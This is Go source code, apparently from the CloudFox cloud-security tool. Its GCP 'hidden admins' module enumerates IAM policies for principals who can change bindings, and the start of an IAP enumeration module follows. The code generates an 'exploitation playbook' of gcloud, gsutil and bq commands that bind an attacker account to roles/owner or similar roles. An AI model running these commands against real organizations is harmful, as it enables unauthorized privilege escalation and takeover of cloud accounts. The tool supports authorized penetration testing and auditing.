)
var GCPHiddenAdminsCommand = &cobra.Command{
Use: globals.GCP_HIDDEN_ADMINS_MODULE_NAME,
Aliases: []string{"ha", "hidden"},
Short: "Identify principals who can modify IAM policies (hidden admins)",
Long: `Analyze GCP IAM policies to identify principals who can modify IAM bindings.
This module finds "hidden admins" - principals who may not have obvious admin roles
but possess permissions to grant themselves or others elevated access.
Detected IAM modification capabilities:
Organization Level:
- resourcemanager.organizations.setIamPolicy - Modify org-wide IAM
- iam.roles.create/update at org level - Create/modify org custom roles
Folder Level:
- resourcemanager.folders.setIamPolicy - Modify folder IAM (affects all children)
Project Level:
- resourcemanager.projects.setIamPolicy - Modify project IAM
- iam.roles.create/update - Create/modify project custom roles
Service Account Level:
- iam.serviceAccounts.setIamPolicy - Grant SA access to others
- iam.serviceAccounts.create + setIamPolicy combo
Resource Level IAM:
- storage.buckets.setIamPolicy - Modify bucket IAM
- bigquery.datasets.setIamPolicy - Modify dataset IAM
- pubsub.topics/subscriptions.setIamPolicy - Modify Pub/Sub IAM
- secretmanager.secrets.setIamPolicy - Modify secret IAM
- compute.instances.setIamPolicy - Modify instance IAM
- cloudfunctions.functions.setIamPolicy - Modify function IAM
- run.services.setIamPolicy - Modify Cloud Run IAM
- artifactregistry.repositories.setIamPolicy - Modify registry IAM`,
Run: runGCPHiddenAdminsCommand,
}
// IAMModificationPermission represents a permission that allows IAM policy modification
type IAMModificationPermission struct {
Permission string
Category string
Description string
}
// HiddenAdmin represents a principal with IAM modification capabilities
type HiddenAdmin struct {
Principal string
PrincipalType string
Permission string
Category string
Description string
ScopeType string // organization, folder, project, resource
ScopeID string
ScopeName string
ExploitCommand string
}
type HiddenAdminsModule struct {
gcpinternal.BaseGCPModule
AllAdmins []HiddenAdmin
OrgAdmins []HiddenAdmin
FolderAdmins []HiddenAdmin
ProjectAdmins map[string][]HiddenAdmin // projectID -> admins
ResourceAdmins []HiddenAdmin
// FoxMapper-based wrong admins
WrongAdmins []foxmapperservice.WrongAdminFinding
FoxMapperCache *gcpinternal.FoxMapperCache
// OrgCache for ancestry lookups
OrgCache *gcpinternal.OrgCache
OrgIDs []string
OrgNames map[string]string
FolderNames map[string]string
LootMap map[string]*internal.LootFile
mu sync.Mutex
}
type HiddenAdminsOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o HiddenAdminsOutput) TableFiles() []internal.TableFile { return o.Table }
func (o HiddenAdminsOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPHiddenAdminsCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
if err != nil {
return
}
module := &HiddenAdminsModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
AllAdmins: []HiddenAdmin{},
OrgAdmins: []HiddenAdmin{},
FolderAdmins: []HiddenAdmin{},
ProjectAdmins: make(map[string][]HiddenAdmin),
ResourceAdmins: []HiddenAdmin{},
OrgIDs: []string{},
OrgNames: make(map[string]string),
FolderNames: make(map[string]string),
LootMap: make(map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// GetIAMModificationPermissions returns permissions that allow IAM policy modification
func GetIAMModificationPermissions() []IAMModificationPermission {
return []IAMModificationPermission{
// Organization-level IAM
{Permission: "resourcemanager.organizations.setIamPolicy", Category: "Org IAM", Description: "Modify organization-wide IAM policy"},
// Folder-level IAM
{Permission: "resourcemanager.folders.setIamPolicy", Category: "Folder IAM", Description: "Modify folder IAM policy (affects all children)"},
// Project-level IAM
{Permission: "resourcemanager.projects.setIamPolicy", Category: "Project IAM", Description: "Modify project IAM policy"},
// Custom Role Management
{Permission: "iam.roles.create", Category: "Custom Roles", Description: "Create custom IAM roles"},
{Permission: "iam.roles.update", Category: "Custom Roles", Description: "Modify custom IAM role permissions"},
// Service Account IAM
{Permission: "iam.serviceAccounts.setIamPolicy", Category: "SA IAM", Description: "Grant access to service accounts"},
// Org Policy (can disable security constraints)
{Permission: "orgpolicy.policy.set", Category: "Org Policy", Description: "Modify organization policies"},
// Resource-specific IAM
{Permission: "storage.buckets.setIamPolicy", Category: "Storage IAM", Description: "Modify bucket IAM policy"},
{Permission: "bigquery.datasets.setIamPolicy", Category: "BigQuery IAM", Description: "Modify dataset IAM policy"},
{Permission: "pubsub.topics.setIamPolicy", Category: "Pub/Sub IAM", Description: "Modify topic IAM policy"},
{Permission: "pubsub.subscriptions.setIamPolicy", Category: "Pub/Sub IAM", Description: "Modify subscription IAM policy"},
{Permission: "secretmanager.secrets.setIamPolicy", Category: "Secrets IAM", Description: "Modify secret IAM policy"},
{Permission: "compute.instances.setIamPolicy", Category: "Compute IAM", Description: "Modify instance IAM policy"},
{Permission: "compute.images.setIamPolicy", Category: "Compute IAM", Description: "Modify image IAM policy"},
{Permission: "compute.snapshots.setIamPolicy", Category: "Compute IAM", Description: "Modify snapshot IAM policy"},
{Permission: "cloudfunctions.functions.setIamPolicy", Category: "Functions IAM", Description: "Modify function IAM policy"},
{Permission: "run.services.setIamPolicy", Category: "Cloud Run IAM", Description: "Modify Cloud Run service IAM policy"},
{Permission: "artifactregistry.repositories.setIamPolicy", Category: "Artifact Registry IAM", Description: "Modify repository IAM policy"},
{Permission: "cloudkms.cryptoKeys.setIamPolicy", Category: "KMS IAM", Description: "Modify KMS key IAM policy"},
}
}
func (m *HiddenAdminsModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Analyzing IAM policies to identify hidden admins...", globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
// Load OrgCache for ancestry lookups (needed for per-project filtering)
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
if m.OrgCache == nil || !m.OrgCache.IsPopulated() {
diskCache, _, err := gcpinternal.LoadOrgCacheFromFile(m.OutputDirectory, m.Account)
if err == nil && diskCache != nil && diskCache.IsPopulated() {
m.OrgCache = diskCache
}
}
// Try to load FoxMapper data for wrongadmin analysis
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache == nil || !m.FoxMapperCache.IsPopulated() {
orgID := ""
if m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
orgID = m.Hierarchy.Organizations[0].ID
}
m.FoxMapperCache = gcpinternal.TryLoadFoxMapper(orgID, m.ProjectIDs)
}
// Use FoxMapper wrongadmin analysis if available
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
svc := m.FoxMapperCache.GetService()
m.WrongAdmins = svc.AnalyzeWrongAdmins()
if len(m.WrongAdmins) > 0 {
logger.InfoM(fmt.Sprintf("FoxMapper found %d 'wrong admins' (admins without explicit roles/owner)", len(m.WrongAdmins)), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
}
}
// Build permission map
permMap := make(map[string]IAMModificationPermission)
for _, p := range GetIAMModificationPermissions() {
permMap[p.Permission] = p
}
// Analyze organization-level IAM
m.analyzeOrganizationIAM(ctx, logger, permMap)
// Analyze folder-level IAM
m.analyzeFolderIAM(ctx, logger, permMap)
// Analyze project-level IAM for each project
for _, projectID := range m.ProjectIDs {
m.analyzeProjectIAM(ctx, logger, projectID, permMap)
}
// Generate loot (playbook)
m.generateLoot()
if len(m.AllAdmins) == 0 && len(m.WrongAdmins) == 0 {
logger.InfoM("No hidden admins found", globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
return
}
// Count by scope type
orgCount := len(m.OrgAdmins)
folderCount := len(m.FolderAdmins)
projectCount := 0
for _, admins := range m.ProjectAdmins {
projectCount += len(admins)
}
resourceCount := len(m.ResourceAdmins)
if len(m.AllAdmins) > 0 {
logger.SuccessM(fmt.Sprintf("Found %d hidden admin(s) with IAM modification permissions: %d org-level, %d folder-level, %d project-level, %d resource-level",
len(m.AllAdmins), orgCount, folderCount, projectCount, resourceCount), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
}
if len(m.WrongAdmins) > 0 {
// Count by admin level
orgWrong := 0
folderWrong := 0
projectWrong := 0
for _, wa := range m.WrongAdmins {
switch wa.AdminLevel {
case "org":
orgWrong++
case "folder":
folderWrong++
default:
projectWrong++
}
}
logger.SuccessM(fmt.Sprintf("Found %d 'wrong admins' (FoxMapper): %d org-level, %d folder-level, %d project-level",
len(m.WrongAdmins), orgWrong, folderWrong, projectWrong), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
func (m *HiddenAdminsModule) analyzeOrganizationIAM(ctx context.Context, logger internal.Logger, permMap map[string]IAMModificationPermission) {
orgsClient, err := resourcemanager.NewOrganizationsClient(ctx)
if err != nil {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
gcpinternal.HandleGCPError(err, logger, globals.GCP_HIDDEN_ADMINS_MODULE_NAME, "Could not create organizations client")
}
return
}
defer orgsClient.Close()
// Get IAM service for role resolution
iamService, _ := m.getIAMService(ctx)
searchReq := &resourcemanagerpb.SearchOrganizationsRequest{}
it := orgsClient.SearchOrganizations(ctx, searchReq)
for {
org, err := it.Next()
if err == iterator.Done {
break
}
if err != nil {
break
}
orgID := strings.TrimPrefix(org.Name, "organizations/")
m.OrgNames[orgID] = org.DisplayName
m.OrgIDs = append(m.OrgIDs, orgID)
policy, err := orgsClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
Resource: org.Name,
})
if err != nil {
continue
}
for _, binding := range policy.Bindings {
permissions := m.getRolePermissions(iamService, binding.Role, "")
for _, member := range binding.Members {
m.checkForHiddenAdmins(member, permissions, permMap, "organization", orgID, org.DisplayName)
}
}
}
}
func (m *HiddenAdminsModule) analyzeFolderIAM(ctx context.Context, logger internal.Logger, permMap map[string]IAMModificationPermission) {
foldersClient, err := resourcemanager.NewFoldersClient(ctx)
if err != nil {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
gcpinternal.HandleGCPError(err, logger, globals.GCP_HIDDEN_ADMINS_MODULE_NAME, "Could not create folders client")
}
return
}
defer foldersClient.Close()
iamService, _ := m.getIAMService(ctx)
searchReq := &resourcemanagerpb.SearchFoldersRequest{}
it := foldersClient.SearchFolders(ctx, searchReq)
for {
folder, err := it.Next()
if err == iterator.Done {
break
}
if err != nil {
break
}
folderID := strings.TrimPrefix(folder.Name, "folders/")
m.FolderNames[folderID] = folder.DisplayName
policy, err := foldersClient.GetIamPolicy(ctx, &iampb.GetIamPolicyRequest{
Resource: folder.Name,
})
if err != nil {
continue
}
for _, binding := range policy.Bindings {
permissions := m.getRolePermissions(iamService, binding.Role, "")
for _, member := range binding.Members {
m.checkForHiddenAdmins(member, permissions, permMap, "folder", folderID, folder.DisplayName)
}
}
}
}
func (m *HiddenAdminsModule) analyzeProjectIAM(ctx context.Context, logger internal.Logger, projectID string, permMap map[string]IAMModificationPermission) {
crmService, err := crmv1.NewService(ctx)
if err != nil {
return
}
policy, err := crmService.Projects.GetIamPolicy(projectID, &crmv1.GetIamPolicyRequest{}).Do()
if err != nil {
return
}
iamService, _ := m.getIAMService(ctx)
projectName := m.GetProjectName(projectID)
for _, binding := range policy.Bindings {
if binding == nil {
continue
}
permissions := m.getRolePermissions(iamService, binding.Role, projectID)
for _, member := range binding.Members {
m.checkForHiddenAdmins(member, permissions, permMap, "project", projectID, projectName)
}
}
}
func (m *HiddenAdminsModule) checkForHiddenAdmins(member string, permissions []string, permMap map[string]IAMModificationPermission, scopeType, scopeID, scopeName string) {
if member == "allUsers" || member == "allAuthenticatedUsers" {
return
}
principalType := extractPrincipalType(member)
principal := extractPrincipalEmail(member)
for _, perm := range permissions {
if iamPerm, ok := permMap[perm]; ok {
admin := HiddenAdmin{
Principal: principal,
PrincipalType: principalType,
Permission: perm,
Category: iamPerm.Category,
Description: iamPerm.Description,
ScopeType: scopeType,
ScopeID: scopeID,
ScopeName: scopeName,
ExploitCommand: m.generateExploitCommand(perm, scopeType, scopeID),
}
m.mu.Lock()
m.AllAdmins = append(m.AllAdmins, admin)
switch scopeType {
case "organization":
m.OrgAdmins = append(m.OrgAdmins, admin)
case "folder":
m.FolderAdmins = append(m.FolderAdmins, admin)
case "project":
m.ProjectAdmins[scopeID] = append(m.ProjectAdmins[scopeID], admin)
case "resource":
m.ResourceAdmins = append(m.ResourceAdmins, admin)
}
m.mu.Unlock()
}
}
}
func (m *HiddenAdminsModule) generateExploitCommand(permission, scopeType, scopeID string) string {
switch permission {
case "resourcemanager.organizations.setIamPolicy":
return fmt.Sprintf("gcloud organizations add-iam-policy-binding %s --member='user:[email protected]' --role='roles/owner'", scopeID)
case "resourcemanager.folders.setIamPolicy":
return fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding %s --member='user:[email protected]' --role='roles/owner'", scopeID)
case "resourcemanager.projects.setIamPolicy":
return fmt.Sprintf("gcloud projects add-iam-policy-binding %s --member='user:[email protected]' --role='roles/owner'", scopeID)
case "iam.roles.create":
return fmt.Sprintf("gcloud iam roles create customAdmin --project=%s --permissions=resourcemanager.projects.setIamPolicy", scopeID)
case "iam.roles.update":
return fmt.Sprintf("gcloud iam roles update ROLE_ID --project=%s --add-permissions=resourcemanager.projects.setIamPolicy", scopeID)
case "iam.serviceAccounts.setIamPolicy":
return fmt.Sprintf("gcloud iam service-accounts add-iam-policy-binding SA@%s.iam.gserviceaccount.com --member='user:[email protected]' --role='roles/iam.serviceAccountTokenCreator'", scopeID)
case "orgpolicy.policy.set":
return "# Disable org policy constraints to bypass security controls"
case "storage.buckets.setIamPolicy":
return "gsutil iam ch user:[email protected]:objectViewer gs://BUCKET_NAME"
case "bigquery.datasets.setIamPolicy":
return fmt.Sprintf("bq add-iam-policy-binding --member='user:[email protected]' --role='roles/bigquery.dataViewer' %s:DATASET", scopeID)
default:
return fmt.Sprintf("# %s - refer to GCP documentation", permission)
}
}
func (m *HiddenAdminsModule) getIAMService(ctx context.Context) (*iam.Service, error) {
return iam.NewService(ctx)
}
func (m *HiddenAdminsModule) getRolePermissions(iamService *iam.Service, role string, projectID string) []string {
if iamService == nil {
return []string{}
}
var roleInfo *iam.Role
var err error
if strings.HasPrefix(role, "roles/") {
roleInfo, err = iamService.Roles.Get(role).Do()
} else if strings.HasPrefix(role, "projects/") {
roleInfo, err = iamService.Projects.Roles.Get(role).Do()
} else if strings.HasPrefix(role, "organizations/") {
roleInfo, err = iamService.Organizations.Roles.Get(role).Do()
} else {
roleInfo, err = iamService.Roles.Get("roles/" + role).Do()
}
if err != nil {
return m.getKnownRolePermissions(role)
}
return roleInfo.IncludedPermissions
}
func (m *HiddenAdminsModule) getKnownRolePermissions(role string) []string {
knownRoles := map[string][]string{
"roles/owner": {
"resourcemanager.projects.setIamPolicy",
"iam.serviceAccounts.setIamPolicy",
"iam.roles.create",
"iam.roles.update",
"storage.buckets.setIamPolicy",
"bigquery.datasets.setIamPolicy",
},
"roles/resourcemanager.organizationAdmin": {
"resourcemanager.organizations.setIamPolicy",
},
"roles/resourcemanager.folderAdmin": {
"resourcemanager.folders.setIamPolicy",
},
"roles/resourcemanager.projectIamAdmin": {
"resourcemanager.projects.setIamPolicy",
},
"roles/iam.securityAdmin": {
"resourcemanager.projects.setIamPolicy",
"iam.serviceAccounts.setIamPolicy",
},
"roles/iam.serviceAccountAdmin": {
"iam.serviceAccounts.setIamPolicy",
},
"roles/iam.roleAdmin": {
"iam.roles.create",
"iam.roles.update",
},
}
if perms, ok := knownRoles[role]; ok {
return perms
}
return []string{}
}
func (m *HiddenAdminsModule) generateLoot() {
// Loot is now generated per-project in writeHierarchicalOutput/writeFlatOutput
}
func (m *HiddenAdminsModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *HiddenAdminsModule) getHeader() []string {
return []string{
"Scope Type",
"Scope ID",
"Scope Name",
"Principal",
"Principal Type",
"Permission",
"Category",
}
}
func (m *HiddenAdminsModule) adminsToTableBody(admins []HiddenAdmin) [][]string {
var body [][]string
for _, admin := range admins {
scopeName := admin.ScopeName
if scopeName == "" {
scopeName = admin.ScopeID
}
body = append(body, []string{
admin.ScopeType,
admin.ScopeID,
scopeName,
admin.Principal,
admin.PrincipalType,
admin.Permission,
admin.Category,
})
}
return body
}
// adminsForProject returns hidden admins filtered for a specific project
// Includes:
// - Project-scoped findings where ScopeID matches this project
// - Org-scoped findings where the org is this project's org
// - Folder-scoped findings where the folder is in this project's ancestry path
// For all of the above, the principal must either be from this project (SA) or be a user/group
func (m *HiddenAdminsModule) adminsForProject(projectID string) []HiddenAdmin {
var filtered []HiddenAdmin
// Get ancestry data for this project
var ancestorFolders []string
var projectOrgID string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
}
// Build a set of ancestor folder IDs for quick lookup
ancestorFolderSet := make(map[string]bool)
for _, folderID := range ancestorFolders {
ancestorFolderSet[folderID] = true
}
for _, admin := range m.AllAdmins {
// Check if principal is relevant for this project
principalProject := extractProjectFromPrincipal(admin.Principal, m.OrgCache)
principalRelevant := principalProject == projectID || principalProject == ""
if !principalRelevant {
continue
}
switch admin.ScopeType {
case "project":
// Project-scoped: must match this project
if admin.ScopeID == projectID {
filtered = append(filtered, admin)
}
case "organization":
// Org-scoped: must be this project's org
if projectOrgID != "" && admin.ScopeID == projectOrgID {
filtered = append(filtered, admin)
} else if projectOrgID == "" {
// No org info, include all org findings for users/groups
filtered = append(filtered, admin)
}
case "folder":
// Folder-scoped: must be in this project's ancestry
if len(ancestorFolderSet) > 0 {
if ancestorFolderSet[admin.ScopeID] {
filtered = append(filtered, admin)
}
} else {
// No ancestry info, include all folder findings for users/groups
filtered = append(filtered, admin)
}
default:
// Resource-level: include if principal is relevant
filtered = append(filtered, admin)
}
}
return filtered
}
// adminsToTableBodyForProject returns table body filtered for a specific project
func (m *HiddenAdminsModule) adminsToTableBodyForProject(projectID string) [][]string {
admins := m.adminsForProject(projectID)
return m.adminsToTableBody(admins)
}
// wrongAdminsForProject returns wrong admins filtered for a specific project
// Includes:
// - Project-level wrong admins where ProjectID matches this project
// - Org-level wrong admins where OrgID matches this project's org
// - Folder-level wrong admins where FolderID is in this project's ancestry
// For all of the above, the principal must either be from this project (SA) or be a user/group
func (m *HiddenAdminsModule) wrongAdminsForProject(projectID string) []foxmapperservice.WrongAdminFinding {
var filtered []foxmapperservice.WrongAdminFinding
// Get ancestry data for this project
var ancestorFolders []string
var projectOrgID string
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
}
// Build a set of ancestor folder IDs for quick lookup
ancestorFolderSet := make(map[string]bool)
for _, folderID := range ancestorFolders {
ancestorFolderSet[folderID] = true
}
for _, wa := range m.WrongAdmins {
principalProject := extractProjectFromPrincipal(wa.Principal, m.OrgCache)
principalRelevant := principalProject == projectID || principalProject == ""
if !principalRelevant {
continue
}
switch wa.AdminLevel {
case "project":
// Project-level: include if ProjectID matches this project
if wa.ProjectID == projectID {
filtered = append(filtered, wa)
}
case "org":
// Org-level: must be this project's org
if projectOrgID != "" && wa.OrgID == projectOrgID {
filtered = append(filtered, wa)
} else if projectOrgID == "" {
// No org info available, include all org findings for relevant principals
filtered = append(filtered, wa)
}
case "folder":
// Folder-level: must be in this project's ancestry
if len(ancestorFolderSet) > 0 && wa.FolderID != "" {
if ancestorFolderSet[wa.FolderID] {
filtered = append(filtered, wa)
}
} else if len(ancestorFolderSet) == 0 {
// No ancestry info available, include all folder findings for relevant principals
filtered = append(filtered, wa)
}
default:
// Unknown level, include for relevant principals if ProjectID matches
if wa.ProjectID == projectID || wa.ProjectID == "" {
filtered = append(filtered, wa)
}
}
}
return filtered
}
// wrongAdminsToTableBodyForProject returns wrong admins table body for a project
func (m *HiddenAdminsModule) wrongAdminsToTableBodyForProject(projectID string) [][]string {
var body [][]string
for _, wa := range m.wrongAdminsForProject(projectID) {
reasonsStr := strings.Join(wa.Reasons, "; ")
displayProject := wa.ProjectID
if displayProject == "" {
displayProject = "-"
}
body = append(body, []string{
wa.Principal,
wa.MemberType,
wa.AdminLevel,
displayProject,
reasonsStr,
})
}
return body
}
// generatePlaybookForProject generates a loot file specific to a project
func (m *HiddenAdminsModule) generatePlaybookForProject(projectID string) *internal.LootFile {
admins := m.adminsForProject(projectID)
wrongAdmins := m.wrongAdminsForProject(projectID)
if len(admins) == 0 && len(wrongAdmins) == 0 {
return nil
}
var sb strings.Builder
sb.WriteString("# GCP Hidden Admins Exploitation Playbook\n")
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
sb.WriteString("# Generated by CloudFox\n")
sb.WriteString("# WARNING: Only use with proper authorization\n\n")
// Add wrong admins section if available
if len(wrongAdmins) > 0 {
sb.WriteString("# === WRONG ADMINS (FOXMAPPER ANALYSIS) ===\n\n")
sb.WriteString("# These principals are marked as admin but don't have explicit admin roles.\n\n")
for _, wa := range wrongAdmins {
sb.WriteString(fmt.Sprintf("# =============================================================================\n"+
"# %s [%s]\n"+
"# =============================================================================\n", wa.Principal, wa.MemberType))
sb.WriteString(fmt.Sprintf("Admin Level: %s\n", wa.AdminLevel))
for _, reason := range wa.Reasons {
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
}
// Add exploit command based on admin level
switch wa.AdminLevel {
case "org":
sb.WriteString("\n# Grant yourself org-level owner:\n")
orgID := wa.OrgID
if orgID == "" {
orgID = "ORG_ID"
}
sb.WriteString(fmt.Sprintf("gcloud organizations add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n\n", orgID, wa.MemberType, wa.Principal))
case "folder":
sb.WriteString("\n# Grant yourself folder-level owner:\n")
folderID := wa.FolderID
if folderID == "" {
folderID = "FOLDER_ID"
}
sb.WriteString(fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n\n", folderID, wa.MemberType, wa.Principal))
default:
sb.WriteString("\n# Grant yourself project-level owner:\n")
targetProject := wa.ProjectID
if targetProject == "" {
targetProject = projectID
}
sb.WriteString(fmt.Sprintf("gcloud projects add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n\n", targetProject, wa.MemberType, wa.Principal))
}
}
}
// Add hidden admins section
if len(admins) > 0 {
sb.WriteString("# === HIDDEN ADMINS (IAM MODIFICATION CAPABILITIES) ===\n\n")
for _, admin := range admins {
scopeInfo := fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeName)
if admin.ScopeName == "" {
scopeInfo = fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeID)
}
sb.WriteString(fmt.Sprintf("# =============================================================================\n"+
"# %s [%s]\n"+
"# =============================================================================\n", admin.Principal, admin.PrincipalType))
sb.WriteString(fmt.Sprintf("Permission: %s\n", admin.Permission))
sb.WriteString(fmt.Sprintf("Category: %s\n", admin.Category))
sb.WriteString(fmt.Sprintf("Scope: %s\n", scopeInfo))
sb.WriteString("\n")
sb.WriteString(admin.ExploitCommand)
sb.WriteString("\n\n")
}
}
return &internal.LootFile{
Name: "hidden-admins-commands",
Contents: sb.String(),
}
}
func (m *HiddenAdminsModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
// Hidden admins table
body := m.adminsToTableBodyForProject(projectID)
if len(body) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "hidden-admins",
Header: m.getHeader(),
Body: body,
})
}
// Wrong admins table
wrongBody := m.wrongAdminsToTableBodyForProject(projectID)
if len(wrongBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "wrong-admins",
Header: m.getWrongAdminsHeader(),
Body: wrongBody,
})
}
return tableFiles
}
func (m *HiddenAdminsModule) buildAllTables() []internal.TableFile {
var tables []internal.TableFile
if len(m.AllAdmins) > 0 {
tables = append(tables, internal.TableFile{
Name: "hidden-admins",
Header: m.getHeader(),
Body: m.adminsToTableBody(m.AllAdmins),
})
}
// Add wrong admins table if FoxMapper data is available
if len(m.WrongAdmins) > 0 {
tables = append(tables, internal.TableFile{
Name: "wrong-admins",
Header: m.getWrongAdminsHeader(),
Body: m.wrongAdminsToTableBody(),
})
}
return tables
}
func (m *HiddenAdminsModule) getWrongAdminsHeader() []string {
return []string{
"Principal",
"Type",
"Admin Level",
"Project",
"Reasons",
}
}
func (m *HiddenAdminsModule) wrongAdminsToTableBody() [][]string {
var body [][]string
for _, wa := range m.WrongAdmins {
// Combine reasons into a single string
reasonsStr := strings.Join(wa.Reasons, "; ")
projectID := wa.ProjectID
if projectID == "" {
projectID = "-"
}
body = append(body, []string{
wa.Principal,
wa.MemberType,
wa.AdminLevel,
projectID,
reasonsStr,
})
}
return body
}
func (m *HiddenAdminsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
FolderLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Process each specified project
for _, projectID := range m.ProjectIDs {
// Build tables for this project
tableFiles := m.buildTablesForProject(projectID)
// Generate loot file for this project
var lootFiles []internal.LootFile
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil {
lootFiles = append(lootFiles, *playbook)
}
// Add project to output if there's any data
if len(tableFiles) > 0 || len(lootFiles) > 0 {
outputData.ProjectLevelData[projectID] = HiddenAdminsOutput{Table: tableFiles, Loot: lootFiles}
}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
}
}
func (m *HiddenAdminsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
tables := m.buildAllTables()
// Generate per-project playbooks
var lootFiles []internal.LootFile
for _, projectID := range m.ProjectIDs {
playbook := m.generatePlaybookForProject(projectID)
if playbook != nil {
// Rename to include project for flat output
playbook.Name = fmt.Sprintf("hidden-admins-commands-%s", projectID)
lootFiles = append(lootFiles, *playbook)
}
}
output := HiddenAdminsOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
}
}
// Helper functions (shared with attackpathService)
func extractPrincipalType(member string) string {
if strings.HasPrefix(member, "user:") {
return "user"
} else if strings.HasPrefix(member, "serviceAccount:") {
return "serviceAccount"
} else if strings.HasPrefix(member, "group:") {
return "group"
} else if strings.HasPrefix(member, "domain:") {
return "domain"
}
return "unknown"
}
func extractPrincipalEmail(member string) string {
parts := strings.SplitN(member, ":", 2)
if len(parts) == 2 {
return parts[1]
}
return member
}
Regular → Executable
+1291 -78
View File
File diff suppressed because it is too large. Load diff
+332
View File
@@ -0,0 +1,332 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
iapservice "github.com/BishopFox/cloudfox/gcp/services/iapService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPIAPCommand = &cobra.Command{
Use: globals.GCP_IAP_MODULE_NAME,
Aliases: []string{"identity-aware-proxy"},
Short: "Enumerate Identity-Aware Proxy configurations",
Long: `Enumerate Identity-Aware Proxy (IAP) configurations.
Features:
- Lists IAP tunnel destination groups
- Analyzes IAP settings and bindings
- Identifies overly permissive tunnel configurations
- Checks for public access to IAP resources`,
Run: runGCPIAPCommand,
}
type IAPModule struct {
gcpinternal.BaseGCPModule
ProjectTunnelDestGroups map[string][]iapservice.TunnelDestGroup // projectID -> groups
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type IAPOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o IAPOutput) TableFiles() []internal.TableFile { return o.Table }
func (o IAPOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPIAPCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_IAP_MODULE_NAME)
if err != nil {
return
}
module := &IAPModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectTunnelDestGroups: make(map[string][]iapservice.TunnelDestGroup),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *IAPModule) getAllTunnelDestGroups() []iapservice.TunnelDestGroup {
var all []iapservice.TunnelDestGroup
for _, groups := range m.ProjectTunnelDestGroups {
all = append(all, groups...)
}
return all
}
func (m *IAPModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_IAP_MODULE_NAME, m.processProject)
allGroups := m.getAllTunnelDestGroups()
if len(allGroups) == 0 {
logger.InfoM("No IAP tunnel destination groups found", globals.GCP_IAP_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d IAP tunnel destination group(s)",
len(allGroups)), globals.GCP_IAP_MODULE_NAME)
m.writeOutput(ctx, logger)
}
